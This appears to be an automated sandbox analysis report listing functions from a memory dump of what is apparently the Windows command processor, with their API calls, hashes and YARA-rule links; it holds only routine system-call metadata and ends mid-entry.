??_V@YAXPAX@Z.MSVCRT ref: 0087B863
??_V@YAXPAX@Z.MSVCRT ref: 0087B870

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: memset$_setjmp3
String ID:
API String ID: 4215035025-0
Opcode ID: aa1e4fa624a76f686f98b585f2e189ae4799ed164a881b1add6d55d781d9f0c7
Instruction ID: cefe1726236c25ef14bcdd94cc69ae7baacb9011a86cb7df4e6b1f613c1fbeb8
Opcode Fuzzy Hash: aa1e4fa624a76f686f98b585f2e189ae4799ed164a881b1add6d55d781d9f0c7
Instruction Fuzzy Hash: 6D418E71A012289BDB24DB65DC94BEEBB7AFF84344F0481A9E60DE7101DB349E84CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00898F66, Relevance: 7.6, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00898FA5
memset.MSVCRT ref: 00898FC5

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

_wcsicmp.MSVCRT ref: 00899073
??_V@YAXPAX@Z.MSVCRT ref: 00899085
??_V@YAXPAX@Z.MSVCRT ref: 00899092

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: memset$_wcsicmp
String ID:
API String ID: 1670951261-0
Opcode ID: 5268f562f202116465cf7b5d738c903a9f438346b6f94e466ab41c940b1f04fc
Instruction ID: 08dfeb83cb3613f75706e928804d7610f75d40935a45b6c496979f0a7dac5a59
Opcode Fuzzy Hash: 5268f562f202116465cf7b5d738c903a9f438346b6f94e466ab41c940b1f04fc
Instruction Fuzzy Hash: E131A572A002199BDF24EB69DC95AEEBBB8FF54354F0401ADE945D3141EB349E80CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00898E52, Relevance: 7.6, APIs: 5, Instructions: 103fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00898E99
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 00898EA1
_get_osfhandle.MSVCRT ref: 00898F27
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,?,?,?,00000000,00000000), ref: 00898F2F

Part of subcall function 008985E9: longjmp.MSVCRT(008AB8F8,00000001,00000000,00898DAB,?,?,?,?,00000000,?,00000021,00000000,?,?,?,00000000), ref: 0089865D
Part of subcall function 008985E9: memset.MSVCRT ref: 008986B6
Part of subcall function 008985E9: memset.MSVCRT ref: 008986E4
Part of subcall function 008985E9: memset.MSVCRT ref: 00898712

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00898F40

Part of subcall function 0087DB92: _close.MSVCRT ref: 0087DBC1

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: memset$File_get_osfhandle$ErrorLastPointerRead_closelongjmp
String ID:
API String ID: 288106245-0
Opcode ID: e79b9ff1bae4925990ef2498271caf3079ead8731272952d18243414555e3668
Instruction ID: c05bf9a774755c140e13e968882b0f2b861c4d27ed285d62e2150318b381ebbc
Opcode Fuzzy Hash: e79b9ff1bae4925990ef2498271caf3079ead8731272952d18243414555e3668
Instruction Fuzzy Hash: F631C171A0020AEBDF28EF69D85ABBE77A9FB85310F14822AF505D7280DF709D048B50

Uniqueness

Uniqueness Score: -1.00%

Function 00875712, Relevance: 7.6, APIs: 5, Instructions: 98fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00875734
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,0089896D,00000021,?,?,00000000,?,?,?,?,?,00000000,?,00000021,00000000,?), ref: 0087573C
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,?,00000000,00000000), ref: 008896FE
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,?,00000000,00000000), ref: 0088974A
DeleteFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,?,00000000,00000000), ref: 00889775

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorFileLast$DeleteRead_get_osfhandle
String ID:
API String ID: 3588551418-0
Opcode ID: f55e20baa5205dbbe8bf59e6a85900e046cad1ba6206a712b614304a5ec52a32
Instruction ID: 85644e1cdee161c84c0bb88b6684c8cdece9b63ffd3e9bc48f861f74d8630105
Opcode Fuzzy Hash: f55e20baa5205dbbe8bf59e6a85900e046cad1ba6206a712b614304a5ec52a32
Instruction Fuzzy Hash: 46310135A00509DBDB2CEF64EC9993A77AAFF84390B198429E946D3294DB70DC41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00886A96, Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00886ACB

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0(?,-00000001,?,?,00000000), ref: 00886B0F
GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,00000000,00000000,00000000,00000000), ref: 00886B3E
??_V@YAXPAX@Z.MSVCRT ref: 00886B4F

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: memset$DriveInformationTypeVolume
String ID:
API String ID: 285405857-0
Opcode ID: fad48a55c5c4c4215a59f06df5610993c68f4eec52f3641081d1ffb9322cd7c1
Instruction ID: 1f957fe637e500a1f17b3e62a2f7555c8a52f700cf7f7a9e0e95549db53bdc19
Opcode Fuzzy Hash: fad48a55c5c4c4215a59f06df5610993c68f4eec52f3641081d1ffb9322cd7c1
Instruction Fuzzy Hash: 8C21A331900118ABCF20EBA4DC89AEFBBB9FF05768F04015AE505D3150EB359E54CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00880662, Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00880699
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,008769F2,?,00000001,?,?,00000000), ref: 008806A1

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: FilePointer_get_osfhandle
String ID:
API String ID: 1013686580-0
Opcode ID: 1a53d2b9834f10a86665abb196fbb9ac288fa9b6a14ee82858cf2ded0ba8cce5
Instruction ID: d264b0244b5f0d69e9f0ecfde9a8786afc43e8863c3600c45071882b31a0fb74
Opcode Fuzzy Hash: 1a53d2b9834f10a86665abb196fbb9ac288fa9b6a14ee82858cf2ded0ba8cce5
Instruction Fuzzy Hash: F311E131204604EBD7247B28EC0AF297BA5FF45720F20422AF249E72E5DE72AD448B65

Uniqueness

Uniqueness Score: -1.00%

Function 00897EC0, Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00880178: _get_osfhandle.MSVCRT ref: 00880183
Part of subcall function 00880178: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,0088D6A1), ref: 0088018D

GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F5), ref: 00897EF1
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?), ref: 00897EFE

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: BufferConsoleFileHandleInfoScreenType_get_osfhandle
String ID:
API String ID: 2847887402-0
Opcode ID: f5000d9998c2a01b697be0ce19fdba332da6a9c9a038488cd020ee9bd6c2aa96
Instruction ID: cf13181eab19173c8d6e231055949cf38ffedd3d9a799fd8357b882b63891714
Opcode Fuzzy Hash: f5000d9998c2a01b697be0ce19fdba332da6a9c9a038488cd020ee9bd6c2aa96
Instruction Fuzzy Hash: E2212C359142099ACF00EFF89945AEEB7B8FF0C710F14422AF915F3251EA349A419B6A

Uniqueness

Uniqueness Score: -1.00%

Function 008846D8, Relevance: 7.6, APIs: 5, Instructions: 52threadCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.API-MS-WIN-CORE-CONSOLE-L1-1-0(0088458C), ref: 008846D8
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,008A3840), ref: 008846E9
memset.MSVCRT ref: 00884703
GetThreadLocale.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 0088E8B8
memset.MSVCRT ref: 0088E92E

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: memset$ConsoleInfoLocaleOutputThread
String ID:
API String ID: 1263632223-0
Opcode ID: ef7b16b8ce8b2fd364784ea678a57764539c8d19657621229340b323beeb582a
Instruction ID: 4cf5d0edabf901b3755d3594fabce6fcc704456dee7e4f3d5b6f2048fd486796
Opcode Fuzzy Hash: ef7b16b8ce8b2fd364784ea678a57764539c8d19657621229340b323beeb582a
Instruction Fuzzy Hash: 8C1189B1D0C35299FB70BB289C0E3743BC0FB12710F48013AF4C1C6BA1E6AC45869355

Uniqueness

Uniqueness Score: -1.00%

Function 00893BB0, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6,?,?,?,?,0088997F,00000000,?,0089A0FC,?,?,?), ref: 00893BBA

Part of subcall function 00880178: _get_osfhandle.MSVCRT ref: 00880183
Part of subcall function 00880178: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,0088D6A1), ref: 0088018D

FlushConsoleInputBuffer.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?,0088997F,00000000,?,0089A0FC,?,?,?), ref: 00893BE9
_getch.MSVCRT ref: 00893BEF
EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,0088997F,00000000,?,0089A0FC,?,?,?), ref: 00893C07
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,0088997F,00000000,?,0089A0FC,?,?,?), ref: 00893C1D

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: CriticalSection$BufferConsoleEnterFileFlushHandleInputLeaveType_get_osfhandle_getch
String ID:
API String ID: 491502236-0
Opcode ID: f9adb019b34950e736e360ecafec40b5ed9b90056f8ffabd1aba1cc2a58a067f
Instruction ID: 167dcd9c153353f5ca2e93fb543491ad8a8754be43bd80f5ab8ff545e431f95f
Opcode Fuzzy Hash: f9adb019b34950e736e360ecafec40b5ed9b90056f8ffabd1aba1cc2a58a067f
Instruction Fuzzy Hash: F101F7325446587FDB24BB64EC0EBAA7B68FF01334F140229F946E21E1DBB59E80D751

Uniqueness

Uniqueness Score: -1.00%

Function 00883AAE, Relevance: 7.5, APIs: 5, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000,00000000,00883A9F), ref: 00883AB2
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,00000000,00000000), ref: 00883ACD
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 00883AD4
memcpy.MSVCRT ref: 00883AE3
FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000), ref: 00883AEC

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: EnvironmentHeapStrings$AllocFreeProcessmemcpy
String ID:
API String ID: 713576409-0
Opcode ID: a58a18ac84a9431e24c783fa726992dd4461beed8a2c40b44c398fa3aa5ccc37
Instruction ID: 8fd24e42f7a5dcc079a89517a5cd55f4cf135d37c66ba3ce4bea88ee8f9da164
Opcode Fuzzy Hash: a58a18ac84a9431e24c783fa726992dd4461beed8a2c40b44c398fa3aa5ccc37
Instruction Fuzzy Hash: BDE0927760192167C611332D6C4CDAF7A5EFBC9B617050114FA89D3200DE388D0656B2

Uniqueness

Uniqueness Score: -1.00%

Function 00885266, Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 303COMMON

Download Yara Rule

APIs

Part of subcall function 00885590: memset.MSVCRT ref: 00885614

Part of subcall function 00880040: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00000000,?,00000000,008836B3,00883691,00000000), ref: 00880078
Part of subcall function 00880040: RtlFreeHeap.NTDLL(00000000), ref: 0088007F

memset.MSVCRT ref: 00885303

Part of subcall function 008800B0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000), ref: 008800C1
Part of subcall function 008800B0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000,?), ref: 008800C8

memset.MSVCRT ref: 0088547A
longjmp.MSVCRT(008AB8B8,00000001,?,?,?), ref: 0088F111

Strings

*.*, xrefs: 00885333

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$memset$Process$AllocFreelongjmp
String ID: *.*
API String ID: 539101449-438819550
Opcode ID: 1c674ce93456b21b8f16c2da79d7d7d12cf81fee93d7024fa2a28dba46908ecb
Instruction ID: 3a98740fc5e08847a7030d0ffcfd434b9cd294aeb06cc1b062bd070d20fb3f0d
Opcode Fuzzy Hash: 1c674ce93456b21b8f16c2da79d7d7d12cf81fee93d7024fa2a28dba46908ecb
Instruction Fuzzy Hash: 33B19D71D00A19DBCB24FFA8C851AAEBBB2FF54314F258069E909EB252D731DD41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0087F090, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

Strings

Ungetting: '%s', xrefs: 0088C4E2
GeToken: (%x) '%s', xrefs: 0088C4B7

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID: GeToken: (%x) '%s'$Ungetting: '%s'
API String ID: 0-1704545398
Opcode ID: 6d490441d09bb3bb6bcb673c047b73f2475f95ce7df93418568bfde04822365a
Instruction ID: 981cd452083fe0c71674bb65f9400e01cd058276ea6a93ac469428fcac34f2d0
Opcode Fuzzy Hash: 6d490441d09bb3bb6bcb673c047b73f2475f95ce7df93418568bfde04822365a
Instruction Fuzzy Hash: D35129316002049BE725BBAAC81537A7761FB91358F54C03ADB0EC76ABEB71DC45C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00894159, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

iswdigit.MSVCRT ref: 008941B0
iswdigit.MSVCRT ref: 008941C9
wcstol.MSVCRT ref: 008941D9

Strings

aApP, xrefs: 00894171

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: iswdigit$wcstol
String ID: aApP
API String ID: 644763121-2547155087
Opcode ID: d319cadb9b1f0782d2f36976ca102d1560516ae022f7803a13a5e192bf6df128
Instruction ID: 86221f37d86686ae358f786cd3f53b383e5706af0c01289955584862c946d93a
Opcode Fuzzy Hash: d319cadb9b1f0782d2f36976ca102d1560516ae022f7803a13a5e192bf6df128
Instruction Fuzzy Hash: 1241D375A0021686CF28BBE8D881A7EB3B5FF55341B2C556AFD46DB284EA30DD43C351

Uniqueness

Uniqueness Score: -1.00%

Function 00894B4E, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 139registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00894B9E
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00894C2C

Strings

%s=%s, xrefs: 00894BED, 00894CAB
., xrefs: 00894BAE

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: EnumErrorLast
String ID: %s=%s$.
API String ID: 1967352920-4275322459
Opcode ID: 9e048b15d01ca297df313bc0384a33d03a973dc09df1ca11036da2b7562f6d53
Instruction ID: 854efcc8bfe700739f85e36cb46bded19f319d2a18f87f1f13340a28226e4941
Opcode Fuzzy Hash: 9e048b15d01ca297df313bc0384a33d03a973dc09df1ca11036da2b7562f6d53
Instruction Fuzzy Hash: 6E416A71E412198BCF34BB694C95EBB7368FFD0318F1841A9E80AE7201DE718E428B91

Uniqueness

Uniqueness Score: -1.00%

Function 008862FA, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 87COMMON

Download Yara Rule

APIs

_wcsnicmp.MSVCRT ref: 00886367
_wcsnicmp.MSVCRT ref: 0088F6F6

Strings

/-Y, xrefs: 0088F6F0
COPYCMD, xrefs: 00886314

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: _wcsnicmp
String ID: /-Y$COPYCMD
API String ID: 1886669725-617350906
Opcode ID: c4eda89baa6fd49d4bc415290ff28bda42bf5f785b7874ae1a59c7e365caaded
Instruction ID: da114fb092c403304b51fcdd5bd5ae21e406bd939688b1319f385c26f76748c1
Opcode Fuzzy Hash: c4eda89baa6fd49d4bc415290ff28bda42bf5f785b7874ae1a59c7e365caaded
Instruction Fuzzy Hash: D5214672A002169BDB24BB1A98496BAB7E5FF94354F600069F889D7341FA708D11C350

Uniqueness

Uniqueness Score: -1.00%

Function 0089AB79, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0089ABB5

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

_wcslwr.MSVCRT ref: 0089AC29
??_V@YAXPAX@Z.MSVCRT ref: 0089AC59

Strings

[%s], xrefs: 0089ABEA

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: memset$_wcslwr
String ID: [%s]
API String ID: 886762496-302437576
Opcode ID: 64e29d09e72a7b9b0283b554311aa0b3eb49b7ccf86231b399003e744cbe57bd
Instruction ID: 88ba9741b80dfd112428a3238cffbb1feb816b78ba7182c345a2f593b1e1a1d2
Opcode Fuzzy Hash: 64e29d09e72a7b9b0283b554311aa0b3eb49b7ccf86231b399003e744cbe57bd
Instruction Fuzzy Hash: D5218571A002195BDF14FBA8DC85BBEBBB8FF58314F0804A9EA09D7141EB74DD448B92

Uniqueness

Uniqueness Score: -1.00%

Function 008823A9, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 00882430: iswspace.MSVCRT ref: 00882440

iswspace.MSVCRT ref: 008823C8
_wcsnicmp.MSVCRT ref: 00882419

Strings

off, xrefs: 00882413

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: iswspace$_wcsnicmp
String ID: off
API String ID: 3989682491-733764931
Opcode ID: 7449083626c6d0d9522aae77f271d3a087f0a33522d9a977eedc4add36a2c6f0
Instruction ID: c03156efbf9d3c2b10dbddd6139abfd4789125fa202a803a6b6193dffef9ecd0
Opcode Fuzzy Hash: 7449083626c6d0d9522aae77f271d3a087f0a33522d9a977eedc4add36a2c6f0
Instruction Fuzzy Hash: E7116B3570022257DF25322E6C6BB3A1294FF94B59F24012AFC46E62D1EE158D0093B2

Uniqueness

Uniqueness Score: -1.00%

Function 00894506, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00887721: __iob_func.MSVCRT ref: 00887726

fprintf.MSVCRT ref: 00894522

Strings

CMD Internal Error %s, xrefs: 00894514
%s, xrefs: 00894555
Null environment, xrefs: 0089450F

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: __iob_funcfprintf
String ID: CMD Internal Error %s$%s$Null environment
API String ID: 620453056-2781220306
Opcode ID: 8b3d30fe8fd45c558d6c061f44bad19bf5fa6ca8f5200a977ee70f2ae0e18476
Instruction ID: 2af6fb51186846c23aa54fbbc73269e1ee54ee457b21ff7dd941cd8a078d69f0
Opcode Fuzzy Hash: 8b3d30fe8fd45c558d6c061f44bad19bf5fa6ca8f5200a977ee70f2ae0e18476
Instruction Fuzzy Hash: 7B01F7379442119FCF347ADC7846C626394FAD031472E153AEC6AD3648FAA09D438152

Uniqueness

Uniqueness Score: -1.00%

Function 00892950, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(ntdll.dll), ref: 00892979
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000,RtlDllShutdownInProgress), ref: 0089298A

Strings

ntdll.dll, xrefs: 00892974
RtlDllShutdownInProgress, xrefs: 00892984

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: RtlDllShutdownInProgress$ntdll.dll
API String ID: 1646373207-582119455
Opcode ID: e1db7f87719d1ecd988602beff1af986f17af9400fbe06689ae060e0c1560b10
Instruction ID: fdca1e2158eec39b1011426201bcc1c92aeca15ab420f193ba18b1d564954ca3
Opcode Fuzzy Hash: e1db7f87719d1ecd988602beff1af986f17af9400fbe06689ae060e0c1560b10
Instruction Fuzzy Hash: A3F0B431A11728EB8F11BF28AD05A2E7BE8FB84754B45029AEC45D7310DB349D01DBC6

Uniqueness

Uniqueness Score: -1.00%

Function 008788D8, Relevance: 6.2, APIs: 4, Instructions: 184COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00878991

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

??_V@YAXPAX@Z.MSVCRT ref: 00878AAB

Part of subcall function 008836CB: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,?,0087590A,00000000), ref: 008836F0

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: memset$CurrentDirectory
String ID:
API String ID: 168429351-0
Opcode ID: b13573912a7005368c5f51545e1ce03e41f1b5c79f2b9d9a8e6d862fd0131dfb
Instruction ID: 7901bdead8354a6e327ab84c1758b950d6bdbc92b58a977ccfb7bff760b86021
Opcode Fuzzy Hash: b13573912a7005368c5f51545e1ce03e41f1b5c79f2b9d9a8e6d862fd0131dfb
Instruction Fuzzy Hash: 88613271A083019FD728DF29D88566BFBE5FB98310F148A2EF599C3264DB30D9058B57

Uniqueness

Uniqueness Score: -1.00%

Function 00875F75, Relevance: 6.2, APIs: 4, Instructions: 183COMMON

Download Yara Rule

APIs

_wcsnicmp.MSVCRT ref: 00875FD2
_wcsnicmp.MSVCRT ref: 00875FE6
wcschr.MSVCRT ref: 0087601D

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: _wcsnicmp$wcschr
String ID:
API String ID: 3270668897-0
Opcode ID: 0c46a55fd217979bf123b5cabec7a3c99b77cdd311e14a6800c30c3da1f6bf10
Instruction ID: 8dc598432a5c1daf66429ac1d616f9149fabd325094e77e8e8d390a412a4ce13
Opcode Fuzzy Hash: 0c46a55fd217979bf123b5cabec7a3c99b77cdd311e14a6800c30c3da1f6bf10
Instruction Fuzzy Hash: 51519035204A119BEB2CFB29CC5167E77A1FF44740B55846EE88AE72C5FB718E42C392

Uniqueness

Uniqueness Score: -1.00%

Function 0087AF70, Relevance: 6.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

APIs

Part of subcall function 008800B0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000), ref: 008800C1
Part of subcall function 008800B0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000,?), ref: 008800C8

_pipe.MSVCRT ref: 0087AF9F

Part of subcall function 0087DBCE: _dup.MSVCRT ref: 0087DBD5

longjmp.MSVCRT(008AB8B8,00000001), ref: 008912F1

Part of subcall function 0087DBFC: _dup2.MSVCRT ref: 0087DC10

Part of subcall function 0087DB92: _close.MSVCRT ref: 0087DBC1

_get_osfhandle.MSVCRT ref: 0087B047
DuplicateHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(00000000), ref: 0087B055

Part of subcall function 0087E040: memset.MSVCRT ref: 0087E090
Part of subcall function 0087E040: wcschr.MSVCRT ref: 0087E0F3
Part of subcall function 0087E040: wcschr.MSVCRT ref: 0087E10B
Part of subcall function 0087E040: _wcsicmp.MSVCRT ref: 0087E179

Memory Dump Source

